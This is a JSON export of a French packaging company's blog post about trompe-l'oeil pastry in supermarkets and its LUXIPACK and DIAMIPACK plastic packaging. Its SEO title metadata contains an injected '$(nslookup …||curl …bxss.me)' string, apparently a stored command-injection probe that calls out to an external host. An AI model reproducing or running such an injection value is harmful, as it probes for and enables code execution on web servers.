{"id":22497,"date":"2026-03-30T17:00:13","date_gmt":"2026-03-30T15:00:13","guid":{"rendered":"https:\/\/www.groupeguillin.fr\/?p=22497"},"modified":"2026-03-31T16:18:01","modified_gmt":"2026-03-31T14:18:01","slug":"la-patisserie-trompe-loeil-quand-lillusion-devient-tendance-et-conquiert-la-gms","status":"publish","type":"post","link":"https:\/\/www.groupeguillin.fr\/?p=22497","title":{"rendered":"La p\u00e2tisserie trompe-l\u2019\u0153il : quand l\u2019illusion devient tendance\u2026 et conquiert la GMS"},"content":{"rendered":"

[et_pb_section fb_built=\u00a0\u00bb1″ _builder_version=\u00a0\u00bb4.16″ custom_padding=\u00a0\u00bb0px||79px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_margin=\u00a0\u00bb||-24px|||\u00a0\u00bb][et_pb_row _builder_version=\u00a0\u00bb4.16″ background_size=\u00a0\u00bbinitial\u00a0\u00bb background_position=\u00a0\u00bbtop_left\u00a0\u00bb background_repeat=\u00a0\u00bbrepeat\u00a0\u00bb min_height=\u00a0\u00bb239.4px\u00a0\u00bb custom_margin=\u00a0\u00bb|auto|-137px|auto||\u00a0\u00bb custom_padding=\u00a0\u00bb48px||2px|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb][et_pb_column type=\u00a0\u00bb4_4″ _builder_version=\u00a0\u00bb4.16″ custom_padding=\u00a0\u00bb|||\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb custom_padding__hover=\u00a0\u00bb|||\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.16″ background_size=\u00a0\u00bbinitial\u00a0\u00bb background_position=\u00a0\u00bbtop_left\u00a0\u00bb background_repeat=\u00a0\u00bbrepeat\u00a0\u00bb min_height=\u00a0\u00bb224.4px\u00a0\u00bb custom_margin=\u00a0\u00bb-32px||7px|||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb inline_fonts=\u00a0\u00bbArial\u00a0\u00bb global_colors_info=\u00a0\u00bb{}\u00a0\u00bb]<\/p>\n

Depuis quelques ann\u00e9es, la p\u00e2tisserie trompe-l\u2019\u0153il<\/span> s\u2019impose comme l\u2019une des tendances les plus spectaculaires de l\u2019univers sucr\u00e9. Fruits plus vrais que nature, objets du quotidien reproduits \u00e0 l\u2019identique, desserts qui d\u00e9fient le regard avant m\u00eame de s\u00e9duire le palais\u2026 ces cr\u00e9ations repoussent les fronti\u00e8res entre art et gastronomie.<\/p>\n

 <\/p>\n

Popularis\u00e9e par des chefs p\u00e2tissiers<\/span> de renom et amplifi\u00e9e par les r\u00e9seaux sociaux<\/span>, cette tendance repose sur une promesse simple : surprendre. Le consommateur ne cherche plus seulement un bon produit, il veut vivre une exp\u00e9rience<\/span>. Le visuel devient aussi important que le go\u00fbt, et l\u2019effet \u201cwaouh\u201d est d\u00e9sormais un levier cl\u00e9 d\u2019attractivit\u00e9.<\/span><\/span><\/span><\/span><\/p>\n

<\/span><\/p>\n

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Une tendance qui sort des vitrines de luxe<\/strong><\/h4>\n

Longtemps r\u00e9serv\u00e9e aux boutiques haut de gamme et aux concours de p\u00e2tisserie, la p\u00e2tisserie trompe-l\u2019\u0153il franchit aujourd\u2019hui un nouveau cap<\/span>.<\/p>\n

Elle s\u2019invite progressivement dans les circuits de distribution plus larges, notamment en GMS<\/strong><\/span>.<\/p>\n

Pourquoi ce basculement ?<\/p>\n

Parce que les attentes des consommateurs ont \u00e9volu\u00e9<\/span>.<\/p>\n

Ils recherchent des produits diff\u00e9renciants<\/span>, visuellement impactant<\/span>, m\u00eame dans leur consommation quotidienne<\/span>, et \u00e0 moindre co\u00fbt<\/span>.<\/p>\n

La d\u00e9mocratisation de ces cr\u00e9ations devient donc une \u00e9vidence pour les industriels et les distributeurs.<\/p>\n

 <\/p>\n

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Le r\u00f4le cl\u00e9 de l\u2019emballage en GMS<\/strong><\/h4>\n

Mais transposer l\u2019effet trompe-l\u2019\u0153il en GMS ne s\u2019improvise pas. Contrairement \u00e0 une boutique sp\u00e9cialis\u00e9e, o\u00f9 le produit est mis en sc\u00e8ne en vitrine, la GMS impose ses propres contraintes : lin\u00e9aire, logistique, conservation, manipulation\u2026<\/span><\/p>\n

C\u2019est ici que l\u2019emballage devient strat\u00e9gique<\/span><\/strong>.<\/p>\n

[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb custom_padding=\u00a0\u00bb15px|||||\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb4_4″ theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/Image2.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb title_text=\u00a0\u00bbImage2″ align=\u00a0\u00bbcenter\u00a0\u00bb hover_enabled=\u00a0\u00bb0″ sticky_enabled=\u00a0\u00bb0″ custom_padding=\u00a0\u00bb0px|||||\u00a0\u00bb][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb custom_margin=\u00a0\u00bb|auto|-29px|auto||\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb4_4″ theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb hover_enabled=\u00a0\u00bb0″ sticky_enabled=\u00a0\u00bb0″ custom_padding=\u00a0\u00bb0px||0px|||\u00a0\u00bb custom_margin=\u00a0\u00bb-48px||-28px|||\u00a0\u00bb]<\/p>\n

Un emballage adapt\u00e9 permet :<\/p>\n

\u279c <\/em>de prot\u00e9ger l\u2019int\u00e9grit\u00e9 visuelle<\/span> du produit,
\u279c <\/em>de valoriser son r\u00e9alisme<\/span> et ses d\u00e9tails,
\u279c <\/em>d\u2019attirer l\u2019\u0153il<\/span> en rayon face \u00e0 une concurrence dense,
\u279c <\/em>et de rassurer le consommateur sur la qualit\u00e9 et la fra\u00eecheur<\/span>.\u00a0<\/p>\n

 <\/p>\n

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Mettre en sc\u00e8ne l\u2019exception dans un environnement standardis\u00e9<\/strong><\/h4>\n

Nous avons mis en place la gamme LUXIPACK<\/strong>, d\u00e9j\u00e0 connue et reconnue dans les rayons de GMS. Elle permet\u00a0:<\/p>\n

    \n
  • des mat\u00e9riaux transparents pour r\u00e9v\u00e9ler le produit<\/span>,<\/li>\n
  • des formes d\u2019emballage qui \u00e9pousent ou mettent en relief la cr\u00e9ation<\/span>,<\/li>\n
  • une ergonomie pens\u00e9e pour le transport <\/span>et la mise en rayon<\/span>,<\/li>\n
  • et un design global coh\u00e9rent avec l\u2019univers premium<\/span> du trompe-l\u2019\u0153il.<\/li>\n<\/ul>\n

    La largeur de gamme<\/span> permet de proposer plusieurs offres, de la vente unique, aux coffrets \u00e0 partager (ou pas).<\/p>\n

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    Une opportunit\u00e9 de diff\u00e9renciation forte<\/strong><\/h4>\n

    La mont\u00e9e en puissance des p\u00e2tisseries trompe-l\u2019\u0153il en GMS repr\u00e9sente une v\u00e9ritable opportunit\u00e9 pour les marques. Elle permet de cr\u00e9er de la valeur<\/span>, de renforcer l\u2019image<\/span> produit et d\u2019offrir une exp\u00e9rience nouvelle<\/span> au consommateur.<\/p>\n

    Dans ce contexte, l\u2019emballage n\u2019est plus un simple contenant : il devient un v\u00e9ritable outil marketing<\/span> et un prolongement de la cr\u00e9ation p\u00e2tissi\u00e8re.<\/p>\n

    [\/et_pb_text][\/et_pb_column][et_pb_column _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb1_2″ theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_image src=\u00a0\u00bbhttps:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/IMG_24902.jpg\u00a0\u00bb _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb title_text=\u00a0\u00bbIMG_24902″ hover_enabled=\u00a0\u00bb0″ sticky_enabled=\u00a0\u00bb0″][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb custom_margin=\u00a0\u00bb|auto|-67px|auto||\u00a0\u00bb][et_pb_column _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb type=\u00a0\u00bb4_4″ theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb][et_pb_text _builder_version=\u00a0\u00bb4.27.6″ _module_preset=\u00a0\u00bbdefault\u00a0\u00bb theme_builder_area=\u00a0\u00bbpost_content\u00a0\u00bb hover_enabled=\u00a0\u00bb0″ sticky_enabled=\u00a0\u00bb0″ custom_margin=\u00a0\u00bb-38px|||||\u00a0\u00bb custom_padding=\u00a0\u00bb||0px|||\u00a0\u00bb]<\/p>\n

    L\u2019innovation ne s\u2019arr\u00eate donc pas au produit lui-m\u00eame, elle se joue aussi dans la mani\u00e8re de le pr\u00e9senter<\/span>.<\/p>\n

    Une dynamique passionnante \u00e0 suivre\u2026 et \u00e0 accompagner<\/span><\/strong>.<\/p>\n

     <\/p>\n

    \n

    Cr\u00e9ations et photos 6, 7 et 8 par @Fabrice Altefrohne<\/span><\/p>\n<\/blockquote>\n

     <\/p>\n

    [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"

    Depuis quelques ann\u00e9es, la p\u00e2tisserie trompe-l\u2019\u0153il s\u2019impose comme l\u2019une des tendances les plus spectaculaires de l\u2019univers sucr\u00e9. Fruits plus vrais que nature, objets du quotidien reproduits \u00e0 l\u2019identique, desserts qui d\u00e9fient le regard avant m\u00eame de s\u00e9duire le palais\u2026 ces cr\u00e9ations repoussent les fronti\u00e8res entre art et gastronomie.   Popularis\u00e9e par des chefs p\u00e2tissiers de […]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"on","_et_pb_old_content":"\n

    Pendant plusieurs ann\u00e9es, de nombreux points de vente ont fait le choix du sac papier pour emballer leurs viennoiseries. Une d\u00e9cision souvent guid\u00e9e par la volont\u00e9 de suivre les attentes consommateur de la r\u00e9duction du plastique.<\/p>\n\n\n\n

    Pourtant, sur le terrain, un constat s\u2019impose aujourd\u2019hui : le produit ne se vend pas aussi bien quand il ne se voit pas. En effet, ces derniers mois, un mouvement tr\u00e8s clair s\u2019est dessin\u00e9 : des magasins reviennent \u00e0 des solutions plus transparentes, apr\u00e8s avoir test\u00e9 des emballages papier.<\/p>\n\n\n\n

    Pourquoi ? Parce que les chiffres parlent d\u2019eux-m\u00eames.<\/p>\n\n\n\n

    La r\u00e9alit\u00e9 du rayon : voir, c\u2019est vendre<\/strong><\/p>\n\n\n\n

    La viennoiserie est un achat d\u2019impulsion.
    Elle repose sur trois leviers fondamentaux : la gourmandise, la fra\u00eecheur per\u00e7ue et l\u2019envie imm\u00e9diate. Un emballage opaque casse cette m\u00e9canique.<\/p>\n\n\n\n

    \u00c0 l\u2019inverse, la transparence :<\/p>\n\n\n\n

      \n
    • met en valeur les textures (feuilletage, dorure, sucre)<\/li>\n\n\n\n
    • rassure sur la qualit\u00e9 et la fra\u00eecheur<\/li>\n\n\n\n
    • d\u00e9clenche plus facilement l\u2019acte d\u2019achat<\/li>\n\n\n\n
    • Renforce la vision premium<\/li>\n<\/ul>\n\n\n\n

      Plusieurs de nos clients nous l\u2019ont confirm\u00e9 apr\u00e8s test :
      \u00e0 le passage au papier a entra\u00een\u00e9 une baisse de performance en rayon
      \u00e0 le retour \u00e0 la transparence a permis de regagner en attractivit\u00e9\u2026 et en ventes<\/p>\n\n\n\n

      \"\"\/<\/figure>\n\n\n\n

      DIAMIPACK : une r\u00e9ponse concr\u00e8te aux enjeux commerciaux<\/strong><\/p>\n\n\n\n

      C\u2019est pr\u00e9cis\u00e9ment pour r\u00e9pondre \u00e0 ces constats terrain que nous avons con\u00e7u DIAMIPACK.<\/p>\n\n\n\n

      Une bo\u00eete pens\u00e9e non pas seulement comme un emballage\u2026 mais comme un v\u00e9ritable outil de vente.<\/p>\n\n\n\n

        \n
      • Visibilit\u00e9 produit maximale\u00a0: chaque viennoiserie est imm\u00e9diatement identifiable. Le produit fait le travail.<\/li>\n\n\n\n
      • Design structur\u00e9 pour performer en rayon\u00a0: gr\u00e2ce \u00e0 son empilabilit\u00e9 optimis\u00e9e, il y a plus de produits visibles en rayon, les emballages se tiennent entre eux pour une tenue de rayon parfaite<\/li>\n\n\n\n
      • Rationalisation des r\u00e9f\u00e9rences\u00a0: seulement 3 formats pour couvrir l\u2019ensemble des besoins (2, 4, 5, 6 ou 8\/10 pi\u00e8ces). Les \u00e9quipes b\u00e9n\u00e9ficient d\u2019une gestion simplifi\u00e9e et de plus de place dans les stocks.<\/li>\n\n\n\n
      • Polyvalence totale\u00a0: Croissants, pains au chocolat (ou chocolatines), palmiers, chouquettes, pains aux raisins, chaussons\u2026 Un seul emballage pour toute l\u2019offre viennoiserie<\/li>\n\n\n\n
      • Protection imbattable\u00a0: termin\u00e9s les produits \u00e9cras\u00e9s dans le caddy ou m\u00eame dans les rayons. La rigidit\u00e9 du plastique prot\u00e8ge les produits, et surtout, il rassure les clients.<\/li>\n<\/ul>\n\n\n\n
        \"\"<\/figure>\n\n\n\n

        Au-del\u00e0 du produit, DIAMIPACK apporte une vraie valeur op\u00e9rationnelle :<\/p>\n\n\n\n

          \n
        • Un rayon plus lisible et plus attractif<\/li>\n\n\n\n
        • Une meilleure rotation produit<\/li>\n\n\n\n
        • Une optimisation de l\u2019espace de vente<\/li>\n\n\n\n
        • Une simplification logistique en magasin<\/li>\n<\/ul>\n\n\n\n

          Et surtout : un levier direct sur le chiffre d\u2019affaires !<\/p>\n\n\n\n

          Revenir \u00e0 la transparence : un choix strat\u00e9gique, pas un retour en arri\u00e8re<\/strong><\/p>\n\n\n\n

          Le retour de certains magasins vers des solutions transparentes n\u2019est pas un renoncement.
          C\u2019est une d\u00e9cision pragmatique, bas\u00e9e sur la r\u00e9alit\u00e9 du terrain.<\/p>\n\n\n\n

          Aujourd\u2019hui, l\u2019enjeu n\u2019est pas d\u2019opposer papier et plastique. Nous avons \u00e0 c\u0153ur de proposer des solutions multimat\u00e9riaux, car chaque mat\u00e9riaux \u00e0 ses avantages et ses sp\u00e9cificit\u00e9s.
          Il est de trouver le bon \u00e9quilibre entre performance commerciale, exp\u00e9rience client et contraintes op\u00e9rationnelles.<\/p>\n\n\n\n

          Avec DIAMIPACK, nous apportons une r\u00e9ponse claire. C\u2019est un emballage qui valorise le produit, facilite le travail en magasin et soutient les ventes.<\/p>\n","_et_gb_content_width":"1060","footnotes":""},"categories":[88],"tags":[],"class_list":["post-22497","post","type-post","status-publish","format-standard","hentry","category-informations-utiles"],"acf":[],"yoast_head":"\nLa p\u00e2tisserie trompe-l\u2019\u0153il : quand l\u2019illusion devient tendance\u2026 et conquiert la GMS - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)<\/title>\n<meta name=\"description\" content=\"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l'emballage alimentaire plastique, papier et carton.\" \/>\n<meta name=\"robots\" content=\"noindex, follow\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"La p\u00e2tisserie trompe-l\u2019\u0153il : quand l\u2019illusion devient tendance\u2026 et conquiert la GMS - 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